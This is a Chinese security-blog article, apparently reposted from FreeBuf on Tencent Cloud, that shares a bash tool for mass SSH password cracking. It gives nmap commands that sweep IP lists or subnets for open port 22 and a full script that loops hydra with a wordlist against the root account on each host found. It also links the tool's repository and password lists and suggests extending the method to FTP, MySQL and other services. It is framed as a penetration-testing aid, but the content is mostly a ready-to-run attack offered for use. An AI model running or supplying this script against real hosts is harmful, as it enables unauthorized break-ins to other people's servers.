前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一记组合拳,批量SSH弱密码爆破检测工具分享

一记组合拳,批量SSH弱密码爆破检测工具分享

作者头像
FB客服
发布2018-07-30 11:57:25
2.1K0
发布2018-07-30 11:57:25
举报
文章被收录于专栏:FreeBufFreeBuf

前言

SSH登录密码的破解工具已然有许多,但偶尔还是存在不能满足任务需求的情况。比如,批量地对IP列表里的IP地址进行SSH登录破解,现有的工具直接使用起来总觉得不方便。那么,能否利用现有的工具,来定制打造适合自己的装备?当然可以,而且,这是想要偷懒的宝宝们需要掌握的一项技能。

正文

批量爆破SSH登录密码的流程其实很简单。首先探测对方主机是否开启22端口,如开启,则尝试进行SSH密码爆破。这里用到两款强大的开源工具。一个是nmap,用来探测22端口是否开启;另一个是hydra,用来爆破SSH登录密码。这两款工具我不做过多的介绍,它们的强大,Google一下,自有体会。那么如何将这两款工具结合到一起使用,笔者这里通过选用的是灵活的shell脚本。

如上图所示,过程分为两步,首先用nmap批量地扫描开放22端口的公网上的设备,运行命令如下:

代码语言:javascript
复制
nmap -vv -n –sS -sU -p22 -iL ./iplist.txt  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt

这条命令的含义是,扫描iplist.txt文件中的IP地址是否开启22端口;如开启,则将这个结果输出到22-output.txt文件中。这条命令还可以这样写:

代码语言:javascript
复制
nmap -vv -n –sS -sU -p22 192.168.1.0/24  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt

这是对一个网段的扫描,也可以换成一个IP。-sS和-sU都是扫描策略的选项,两个一起使用,可以提高扫描的可靠性。在实际测试过程中(内网环境),nmap还是存在漏扫的情况,想要提高它的准确率,还需自己不断尝试,不断调整扫描策略才会有感觉。

第二步为,读取22-output.txt文件中开放22端口的主机,使用hydra工具进行密码爆破,使用的命令如下:

代码语言:javascript
复制
hydra -l root -P ./password.txt -t 6 -vV 192.168.0.12 ssh | grep "host:"

这条命令的含义是采用密码本./password.txt中的密码,对IP地址为:192.168.0.12的主机进行密码破解。grep “host:”用来过滤打印的输出,只输出破解到密码的条目。由于hydra一次只能对一个IP进行破解,因此,在shell中写了一个循环,hydra一次任务结束后,立即进行下一个IP的破解,直到将22-output.txt文件中IP遍历完为止。代码如下所示。

代码语言:javascript
复制
cat ./22-output.txt | while read line
do 
    echo "Current Task: ${line}"
    hydra -l root -P $passfile -t 6 -vV $line ssh | grep "host:" 
done

遍历代码很简单,不用惊讶,这就是shell脚本的神奇之处。主要步骤讲完后,下面来看看整个代码,看如何用shell程序将这些串起来。

代码语言:javascript
复制
#!/bin/bash

if [ $# -lt 4 ] 
then
   echo "usage: ./hydra.sh -p ./password.txt -f ./iplist.txt"
   echo "usage: ./hydra.sh -p ./password.txt -l 192.168.9.0/24"
   exit 1
fi

while [ -n "$1" ]  
do  
  case "$1" in    
    -p)  
        passfile=$2
        #echo $passfile 
        shift  
        ;;  
    -f)  
        nmap -vv -n -sS -sU -p22 -iL $2  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt
        shift  
        ;;  
    -l)  
        nmap -vv -n -sS -sU -p22 $2  | grep "Discovered open port" | awk {'print $6'} | awk -F/ {'print $1'} > ./22-output.txt 
        shift  
        ;; 
    *)  
        echo "$1 is not an option"  
        echo "usage: ./hydra.sh -p ./password.txt -f ./iplist.txt"
        echo "usage: ./hydra.sh -p ./password.txt -l 192.168.9.0/24"
        exit 1
        ;;  
  esac  
  shift  
done

echo "-----------port scan finished-----------"

chmod 666 ./22-output.txt

#echo `cat ./22-output.txt` 

cat ./22-output.txt | while read line
do 
    echo "Current Task: ${line}"
    hydra -l root -P $passfile -t 6 -vV $line ssh | grep "host:"
done

echo "-------password guessing finished-------"

这个程序做了一些参数传递的判断,核心代码行十分精简。在使用程序之前,需得在主机上安装nmap和hydra,Ubuntu下直接用apt安装。运行很方便,下面是运行图,在内网环境下破解了3台主机的密码:

当然,能否破解成功,有一个好用的工具固然重要,但还需要一个强健的密码本。在为密码本烦恼的宝宝们,也不用担心,已经有人总结好最常用的密码条目。见这里[传送门]

工具传送门为:https://github.com/scu-igroup/ssh-scanner

总结

通过对该工具的介绍,聪明的你可以举一反三,改造成对任意服务的批量口令爆破(前提是只要hydra支持就行,包括:FTP,telnet,SMTP,POP3,MySQL等等)。下次有渗透测试地批量扫描任务,就可以一键搞定啦。 最后,提醒一句,公网上谨慎扫描,一切行为需合规合法。

*本文作者:scu-igroup,转载请注明来自FreeBuf.COM

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-05-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 正文
  • 总结
相关产品与服务
云数据库 MySQL
腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档